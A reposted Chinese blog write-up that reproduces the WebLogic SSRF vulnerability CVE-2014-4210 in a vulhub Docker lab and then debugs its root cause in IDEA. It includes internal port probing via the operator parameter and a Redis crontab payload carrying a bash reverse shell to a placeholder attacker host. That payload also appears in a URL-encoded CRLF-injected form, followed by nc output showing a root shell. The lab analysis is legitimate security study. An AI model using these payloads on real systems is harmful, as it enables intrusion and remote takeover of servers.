ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

weblogic ssrf漏洞[CVE-2014-4210]

2021-06-18 22:33:59  阅读:259  来源: 互联网

标签:vulhub 4210 ssrf redis 5Cn% 漏洞 weblogic docker


文章目录

漏洞概述

weblogic的这个uddiexplorer组件的SearchPublicRegistries.jsp页面存在一个SSRF漏洞

分类详情
漏洞编号CVE-2014-4210
漏洞种类SSRF
影响版本weblogic 10.0.2 – 10.3.6

vulhub复现

vulhub环境搭建

# 启动
cd vulhub/weblogic/ssrf/
docker-compose up -d

# 开启了一个weblogic和redis环境 
kit@VM-0-12-ubuntu:~/vulhub/weblogic/ssrf$ docker ps
CONTAINER ID   IMAGE                           COMMAND                  CREATED       STATUS       PORTS                              NAMES
740110c7c04d   vulhub/weblogic:10.3.6.0-2017   "startWebLogic.sh"       5 hours ago   Up 5 hours   5556/tcp, 0.0.0.0:7001->7001/tcp   ssrf_weblogic_1
56ec984f228c   vulhub/baselinux:centos-6       "/docker-entrypoint.…"   5 hours ago   Up 5 hours   6379/tcp                           ssrf_redis_1

在Search public registries界面http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp修改operator参数为内网IP可以探测IP和端口存活情况。

输入7001端口返回中显示出了404响应码

weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code

修改为2222端口

 but could not connect over HTTP to server:'127.0.0.1', port: '2222'

返回无法连接

这里通过探测可知内网存活的IP和端口。这里环境内网存在一个redis,可利用SSRF去攻击redis,在定时任务处写入反弹shell的指令。
在这里插入图片描述
返回内容

Received a response from url: http://172.25.0.2:6379 which did not have a valid SOAP content-type
表明6379端口是开放的

crontab payload:

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/ip/7777 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

这里是利用了weblogic自己实现的socket所以存在CRLF漏洞的问题,直接将payload注入报文头来攻击redis

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fip%2F7777%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0A%0Dconfig%20set%20dir%20%2Fetc%2F%0A%0Dconfig%20set%20dbfilename%20crontab%0A%0Dsave

在这里插入图片描述

在这里插入图片描述

成功接收到返回的shell
kit@VM-0-12-ubuntu:/etc$ nc -lvvp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Connection from 1.15.178.85 60256 received!
sh: no job control in this shell

sh-4.1# ls
ls
anaconda-ks.cfg
install.log
install.log.syslog

环境搭建

修改docker-compose.yml,增加8888端口映射

version: '2'
services:
 weblogic:
   image: vulhub/weblogic:10.3.6.0-2017
   depends_on:
    - redis
   ports:
    - "7001:7001"
    - "8888:8888"
 redis:
   image: vulhub/baselinux:centos-6

修改配置文件

cd /root/Oracle/Middleware/user_projects/domains/base_domain/bin
vi /setDomainEnv.sh

在这里插入图片描述

重新启动
docker restart 容器id

获得weblogic的源码

docker cp weblogic:/root ./weblogic_jars

在这里插入图片描述
用idea打开wlserver_10.3目录
在这里插入图片描述

Middleware目录下打包获得所有jar到test文件夹中

find . -name *.jar -exec cp {} ../../../test/ \;

在这里插入图片描述
在项目依赖库导入test文件夹中打包的jar文件。
在这里插入图片描述
选用从docker中获取的jdk
在这里插入图片描述
设置好ip和端口
在这里插入图片描述
连接成功
在这里插入图片描述

源码调试

idea远程调试原理就是本地有跟服务器上一样的lib文件,然后在本地的lib代码里下断点,通过debug就可以在远程服务器时在本地断点停住

这里调试主要关注点是对于operator参数值的传递。
从sendMessage函数开始,这里sendMessage接收到operator的参数值
在这里插入图片描述
sendMessage函数中利用BindFactory创建了一个工厂类,又创建了一个BindingInfo对象。
在这里插入图片描述
工厂类会通过BindingInfo的内容来决定创建的Bind对象的类型。
在这里插入图片描述
这里BindingInfo的getTransport函数默认为http11
在这里插入图片描述
在这里插入图片描述
最后工厂类创建的对象为Http11ClientBinding
在这里插入图片描述
通过Http11ClientBinding调用send函数来发起请求,这里可以看出直接向url参数中的地址发起连接,没有进行任何的校验。所以存在CRLF的问题。
在这里插入图片描述
总结:
Weblogic自己实现了socket方法并没有采用java常见的网络库,又缺乏了对url基本的校验,所以这个SSRF漏洞才可以配合CRLF注入来攻击redis等服务。

参考文章:
https://vulhub.org/#/environments/weblogic/ssrf/
IDEA + Docker远程漏洞调试
Weblogic_SSRF漏洞_CVE-2014-4210
远程调试docker构建的weblogic

标签:vulhub,4210,ssrf,redis,5Cn%,漏洞,weblogic,docker
来源: https://blog.csdn.net/qq_43936524/article/details/117599954

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有